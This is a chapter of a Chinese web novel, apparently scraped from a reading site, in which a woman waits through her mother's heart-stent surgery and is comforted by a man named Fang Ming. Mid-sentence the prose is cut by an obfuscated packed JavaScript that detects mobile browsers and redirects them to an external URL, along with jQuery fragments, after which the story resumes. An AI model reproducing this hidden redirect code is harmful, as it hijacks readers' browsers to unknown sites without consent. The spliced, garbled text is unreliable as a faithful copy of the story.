在这个冷气森森的初冬，孟至生平第一次觉得庆幸，也生平第一次感到恐惧。她庆幸自己把刘校长的体检提前了几天，因为体检报告显示刘校长的心脏出现了问题。心电图和心脏彩超提示了心肌缺血的迹象，孟至接到体检中心的电话后，就开始为刘校长预约公立医院的心内科检查。
孟至坚持要选择本省最好的心内科，那家医院的号非常难挂，往往在挂号网上一放出号来，就被哄抢一空。最后还是刘校长的一个学生帮忙打了招呼，请一位医生加了号。
孟至六点起床，七点多就到了医院门诊部，拿着医生手写的加号纸条，去缴费窗口替刘校长挂了号。她只觉得茫然失措。在那个遥远的职场上，她如鱼得水，光彩照人。当回到老家，她才发现自己手无缚鸡之力，依然依靠着老一辈的关系网。
很快，刘校长也到达门诊部，她甚至先去了一趟学校，然后由专职司机送到医院。孟至无言地往旁边挪了一下，刘校长坐在她旁边，两人的脸色都很沉郁，谁也没有说话。周围人声嘈杂，人人互相挤着，碰撞着，在过道上费劲地移动着。孟至看到有个老太太在乞求某医生的助手给她加号，那助手坚决地摇摇头，很快走回诊室，老太太又站了一会儿，只好转身回家了。
这里的一切都让孟至感到不适。排了很久的队，终于叫到了刘校长的号。医生开了几项检查，包括冠状动脉CTA和冠状动脉造影。短暂的问诊过后，是新一轮的排队。孟至照例和刘校长分头去排几项检查的队伍，看着刘校长走远的背影，她忽然感到一阵无力的庆幸。她庆幸刘校长还能自如地走路，也庆幸自己没有回到南方。
但那个未知的检查结果压垮了她。起初她不敢搜索可能的诊断，后来又忍不住拿出手机去查，然后一发不可收拾，越查越胆战心惊。
复诊后，刘校长被安排住院，接受心脏支架手术，她的心脏里将被植入5个支架。
在这人影幢幢的医院里，一切按部就班地来临，孟至被动地接受着每一个步骤。她机械地跑来跑去，办理各种手续，去医院门口的小卖店里购买生活用品。她甚至不太记得时间是怎么来到手术这天的，等她回过神时，刘校长已经进了手术室，老孟坐在一边，面如死灰。
她听见自己说：“爸，我去走廊接个电话。”然后她躲进走廊，坐在台阶上瑟瑟发抖。
这家医院的大楼是新修的，里面的装潢十分考究，从墙壁、地面到灯光全部是暖色调。但她并没有放松下来，反而总觉得有股冷风四下回荡。
就在她抱紧双腿时，赛罗的消息来了。距离上一次联系已经过去很多天，那场鸡飞狗跳的相亲好像是上辈子的事了。
赛罗说：“上次有点忙，忘了回复你的微信。后来你见到喜欢的人了吗？”
停顿了一下，他又加了一句：“他真的面吗？”
就像抓住了一根救命稻草，孟至想要吐露点什么，好像这样就能把心里的重物倒出去一部分。她强忍着心里七上八下的波澜，对赛罗说：“我家里出了点事，我妈在手术，心脏支架。”
发完了这句，她觉得浑身无力，就靠在了墙壁上。尽管被装修成温暖的原木色，墙壁依然是冰冷的。
赛罗很快回复道：“哪家医院？需要帮忙吗？”
“二院。”孟至有气无力地打了几个字，“不用麻烦你了，手术之后，顺利的话，应该静养就行了。”
如果不顺利的话，后续他们家的生活会是怎样的？她完全不敢去想。然而，越是不去想，就越是已经想过了。
孟至闭上眼睛，眉头还是微微皱着。好像没有过去多久，她听见身后有匆忙的脚步声。有人大步跑来，在她背后刹住。一时间，她以为是老孟跑来告诉她手术效果很不理想，顿时吓得心脏都骤停了。
她转过头来，绝望地抬头看去，却发现方铭正沉沉地俯视着她。他额头上的碎发被风吹得立起来，十分凌乱。没有了那些碎发的遮挡，他目光中的担忧变得无遮无拦，让孟至心里动了一下。
她昏昏沉沉地问：“你怎么在这里？也来看心脏吗？”
“路过。”
孟至哦了一声。方铭抿起嘴唇，在她旁边坐了下来。两人挤在同一个台阶上，手肘互相触碰着。就像有一些暖意融融的星星洒在孟至的手臂上，她竟然有一瞬间留恋着这种触感。
方铭轻声问道：“你在等家里人手术？”
“恩，我妈，心脏支架，5个。”孟至重新靠回到墙上。手术室这一层显然没有门诊部那样爆满，此时此刻，楼梯间里静悄悄的。
两人默默地坐着。不知过了多长时间，方铭又问：“你在想什么？”
“我在想，”孟至气若游丝地说，“高端医疗险很有必要。它不同于普通的百万医疗险，它是可以报销高级私立医院的费用的。如果去私立医院，应该不用大排长龙做检查吧。”
方铭愣了一下，摇着头笑了。他伸出一只手，小心地将手腕垫在孟至的肩膀和墙壁之间，顺带着让整条手臂环绕着孟至的后背。那暖洋洋的体温让孟至觉得很安心，她想要避开，却动弹不得，于是就这样一直取暖。
终于，主刀医生宣布手术成功，刘校长被转入病房观察。老孟举起手来，给周围的人展示他手掌的抖动：“你们看看，要是再过一会儿，我这心脏也完了。”随后他就被护士请去吸氧了。
孟至抱着手臂站在一边，听医生的助手讲解术后事项，有一种劫后余生的感觉。方铭从楼梯间里踱了出来，不动声色地站到她的旁边，仿佛自己也是病人家属。
等到助手全部讲完，孟至才发现方铭已经将要点记在了手机上。她把头伸过去扫了一眼，充满感谢地说：“你没删我微信吧？没删的话能不能发给我？谢谢了。”
“……好。”方铭低头摆弄着手机，“只要你不删除我，我是不会删除你的。”
孟至的眼睛突然聚焦了。暂时地卸下压力后，大脑又开始做功，许多画面浮了出来，比如不久前那个墙壁上的俯卧撑。再然后，孟至又想起来方铭不是已经不喜欢她了吗？为什么又对她施以同情的援手？
他不是变得冷酷淡漠、不复初识模样了吗？
她戒备地看了一眼方铭，像审讯
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16644383|184753||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一样开口了：“你怎么在这里？”
方铭几乎闭气了：“这个问题你刚才已经问过了。而且我不是一直在这里吗？”
“刚才没注意。”孟至点了点头，继续严肃地看着他。方铭垂着眉毛眼睛，嘴唇微微撅了起来，似乎觉得孟至是个提上裤子就不认人的无赖。他冰凉地问道：“那刚才和你坐在一起的是谁？”
孟至说：“没认出来。”
方铭向下睥睨着她，轻轻哼了一声。在老孟重新出现之前，方铭离开了这层楼。孟至完全看不出他是要给医院换锁还是收瓶子，她只是看着方铭站在电梯轿厢里，十分危险地注视着她。接着，电梯的门关上了。
“我跟着去病房看了，你妈住的双人间，挺好的。”老孟拖沓着走回来了，他一手擎着氧气袋，鼻孔里插着吸氧管，看得孟至不禁头大，觉得家里竟凑不出一个完整的好人。
她最后看了一眼电梯门，就跟着老孟去病房了。在冠心病监护病房里，刘校长平躺在床上，嘴唇灰白，元气大伤。
监护仪器正在一刻不停地工作着，一种压抑的气息再次包围了孟至。隔壁床的病人也仰面躺着，他家的家属却一副处变不惊的样子，显然见过大世面，甚至邀请孟至去走廊聊天。
走廊里聚集着临近病房的家属，每个人都背手站立，松弛地交流着这几年的治病心得。一位大叔声称自己原本住在边境地区，生活安定悠闲，要不是为了陪家人看病，这会儿应该还在老家祖宅的室外灶房里，用大铁锅做饭，林蛙是他的拿手菜，可以跟豆角一起炖。
孟至忍不住大声重复了一遍：“豆角炖青蛙？”
另一位大姐说：“对了，东北人夏天就是吃豆角。”
……
一圈人越聊越开怀，还有人返回到病房中，拿出瓜子款待众人，孟至也分到一小把。大家咔咔磕了起来，瓜子皮扔在一只牛皮纸袋里。
忽然有一群医生护士从他们中间穿过，脚不点地，奔向某个病房。那间屋子里突然有病人需要急救。
林蛙大叔紧跑几步，跟着去看，嘴里念念有词：“哎呀哈，可不是老李吧？”原来那屋子里住的是他结交的病友。
而走廊里的人还在你一言我一语地聊着。孟至背靠着墙壁，单手插兜，若有所思地看着他们。她发现人的韧性是如此强韧，在经历疾病的打击时，这些病人家属一定也曾心如死灰。但现在他们又重回平静乃至悠扬，就像一个瘪了的气球重新变得饱满。孟至觉得不可思议。
她摸出手机，想跟斯基谈谈这种感想。屏幕上显示着一条未读消息。
小方-开锁回收旧家具：这是刚才记的术后护理要点。
下面是一张备忘录截图。孟至点开一看，记得和会议纪要一样，一条是一条，工整而严谨，每条开头编号，段后空一行。
她诚心诚意地回复道：“谢谢你，记得真全，跟我用脑子记的一样。”
不出意外地，方铭没有回答，正如此前一样冷如寒霜。
不管他的态度如何，孟至还是我行我素地加了一句：“也谢谢手臂靠垫。”